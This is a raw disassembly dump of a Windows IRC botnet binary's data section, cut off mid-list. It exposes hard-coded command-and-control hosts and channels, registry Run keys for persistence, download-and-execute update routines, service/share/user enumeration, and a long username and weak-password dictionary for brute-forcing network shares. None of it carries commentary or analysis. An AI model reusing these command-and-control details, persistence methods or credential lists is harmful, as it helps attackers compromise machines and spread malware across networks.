63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+1D1o dd 2BBBB02h aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0 align 4 dword_42E464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h ; DATA XREF: sub_40CAF1+358o dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h dd 2E73h aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o ; sub_40EE72+2B48o ... align 4 unk_42E498 db 2 ; DATA XREF: sub_40CAF1+2E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0 align 10h unk_42E4E0 db 2 ; DATA XREF: sub_40CAF1+262o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCrcFailedDD_ db ' CRC Failed (%d != %d).',0 align 4 unk_42E518 db 2 ; DATA XREF: sub_40CAF1+1D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0 align 4 unk_42E55C db 2 ; DATA XREF: sub_40CAF1+195o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0 align 4 unk_42E59C db 2 ; DATA XREF: sub_40CAF1+183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileDownloadSD db ' File download: %s (%dKB transferred).',0 align 4 unk_42E5E4 db 2 ; DATA XREF: sub_40CAF1+77o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo ; sub_40DF4E+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o align 4 off_42E644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D208o ; sub_40D24E+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Co align 4 unk_42E658 db 2 ; DATA XREF: sub_40D24E+8Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0 align 4 unk_42E6A4 db 2 ; DATA XREF: sub_40D24E+58o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0 aA_0 db 'A:\',0 ; DATA XREF: sub_40D320:loc_40D365o dword_42E6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_42E740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4C5+E3o ; --------------------------------------------------------------------------- loc_42E75C: ; DATA XREF: sub_40D4C5+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_42E770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_40D4C5+13Fo dword_42E784 dd 25207325h, 253A2073h, 0A0D73h ; DATA XREF: sub_40D679+5Do aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D679+16o ; sub_40EE72+623o aNotice db 'NOTICE',0 ; DATA XREF: sub_40D679+Fo ; sub_40EE72+62Fo align 10h off_42E7A0 dd offset aAdd ; DATA XREF: sub_40D719+60r ; sub_40DAF0+51r ... ; "Add" off_42E7A4 dd offset aAdded ; DATA XREF: sub_40D719+2Dr ; sub_40DAF0+83r ... ; "Added" dword_42E7A8 dd 0 ; DATA XREF: sub_40D719+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 42E814h, 42E80Ch, 2, 42E800h, 42E7F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0042E7D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:0042E7D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:0042E7C8o aStart_0 db 'Start',0 ; DATA XREF: ___:0042E7C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:0042E7BCo align 4 aList_0 db 'List',0 ; DATA XREF: ___:0042E7B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:0042E7B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:0042E7ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_42E7A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_42E7A0o dword_42E868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+67o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_42E89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+51o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_42E8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D719+33o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40D835:loc_40D93Fo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40D835:loc_40D938o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40D835:loc_40D931o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40D835:loc_40D92Ao align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40D835:loc_40D91Co align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40D835:loc_40D915o db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40D835:loc_40D90Eo align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40D835:loc_40D8E3o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40D835:loc_40D8DCo db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40D835:loc_40D8D5o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40D835:loc_40D8CEo align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40D835:loc_40D8A3o db 'dependent on it.',0 align 10h aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40D835:loc_40D899o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40D835:loc_40D88Fo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40D835:loc_40D87Bo align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B3+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B3:loc_40DA7Fo aStarting db ' Starting',0 ; DATA XREF: sub_40D9B3:loc_40DA78o aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B3:loc_40DA71o aRunning db ' Running',0 ; DATA XREF: sub_40D9B3:loc_40DA6Ao aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B3:loc_40DA63o aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B3:loc_40DA5Co aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B3:loc_40DA55o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B3+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40D9B3+25o align 4 dword_42EE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+ACo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42EE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+8Ao dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_42EE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DAF0+58o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40DCE6+BCo align 10h aYes db 'Yes',0 ; DATA XREF: sub_40DCE6+B5o dword_42EEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DCE6+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40DCE6+26o align 4 dword_42EF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+B7o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42EF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+95o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42EFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DE07+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 4 dword_42F008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40DF4E+3AFo dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4E+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4E+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4E+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4E+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_40DF4E:loc_40E06Do align 4 aUser_0 db 'User',0 ; DATA XREF: sub_40DF4E:loc_40E066o align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4E:loc_40E05Fo ; ___:0042F778o ... align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4E+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4E+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4E+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo align 4 dword_42F1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_40E337+BEo align 4 dword_42F218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E337+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo align 4 aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40E4B7:loc_40E59Bo db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40E4B7+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40E4B7:loc_40E562o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40E4B7:loc_40E554o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E4B7:loc_40E51Ao align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40E4B7:loc_40E506o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo align 10h dword_42F530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42F568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40E5EB+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 10h dword_42F5A0 dd 1B58h ; DATA XREF: sub_40E6A9+3A3r ; sub_40E6A9+456r dword_42F5A4 dd 0C8Bh ; DATA XREF: sub_40E6A9+4A2r dword_42F5A8 dd 30EAh ; DATA XREF: sub_40EE72:loc_414C0Ar dword_42F5AC dd 18F4h ; DATA XREF: sub_407252+3Br ; sub_40EE72+52E6r dword_42F5B0 dd 1BB0h ; DATA XREF: sub_407252:loc_407501r ; sub_40EE72:loc_41424Dr dword_42F5B4 dd 0A84h ; DATA XREF: sub_40EE72:loc_4143C3r dword_42F5B8 dd 1 ; DATA XREF: sub_40EE72+665r dword_42F5BC dd 1 ; DATA XREF: sub_40E6A9+13Dr dword_42F5C0 dd 1 ; DATA XREF: sub_40AC42+Cr ; sub_40E6A9:loc_40E9D8r byte_42F5C4 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr ; sub_40EE72+B05r ... align 4 dword_42F5C8 dd 6 ; DATA XREF: sub_415996+2Br ; sub_415996+51r ... dword_42F5CC dd 4 ; DATA XREF: sub_40EB92+78r ; sub_40EE72+279r ... a8652 db '8652',0 align 4 aCool_0 db 'cool',0 align 10h aMan db 'man',0 align 8 aAsn445 db 'asn445',0 align 10h db 2 dup(0) byte_42F5F2 db 1 ; DATA XREF: sub_40EE72:loc_413D44r ; sub_40EE72+4EDCo aAsn139 db 'asn139',0 align 4 dd 100h, 3 dup(0) aBotid db 'botid',0 ; DATA XREF: sub_40E6A9+5Ao ; sub_40EE72+3E42o ... align 4 aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40EE72:loc_414E22o align 4 aCool db 'cool',0 ; DATA XREF: sub_40EE72+6129o ; sub_40EE72+61F8o align 4 aSaber2_ircqfor db 'saber2.ircqforum.com',0 ; DATA XREF: sub_40E6A9+38Eo ; sub_40E6A9+447o align 4 aFaak db '#faak#',0 ; DATA XREF: sub_40E6A9+3AFo ; sub_40E6A9+45Do align 4 aSaad_ db 'saad.',0 ; DATA XREF: sub_40E6A9+3C6o ; sub_40E6A9+46Fo align 4 byte_42F654 db 73h ; DATA XREF: sub_40E6A9:loc_40EB2Er ; sub_40E6A9+493o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#faak#',0 ; DATA XREF: sub_40E6A9+4A9o align 10h aSaad__0 db 'saad.',0 ; DATA XREF: sub_40E6A9+4BBo align 4 byte_42F678 db 66h ; DATA XREF: sub_402B84+Fo ; sub_4030E8+81o ... db 69h, 72h, 73h dd 69777374h, 78652E6Eh, 65h dword_42F688 dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40C1AE+Eo align 10h aBot db '[bot]-',0 ; DATA XREF: sub_415996+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40EE72+6274o aF db '#f',0 ; DATA XREF: sub_40EE72:loc_4120F1o ; sub_40EE72+509Co align 10h aF_0 db '#f',0 ; DATA XREF: sub_40EE72+1F2Fo align 4 aF_1 db '#f',0 ; DATA XREF: sub_40EE72+1D75o align 4 off_42F6C8 dd offset a@admin_com ; DATA XREF: sub_40EE72:loc_414FEEo ; "*@admin.com" off_42F6CC dd offset aH4ckerTool ; DATA XREF: sub_40EE72+8CFr ; sub_40EE72+6198o ; "h4cker tool" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o ; sub_4162AC+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o ; sub_4162AC+D4o align 4 dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd 0 dd offset byte_43C80C dd offset byte_43C80C dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_1 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_0 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_1 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc_0 ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_434C30 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset 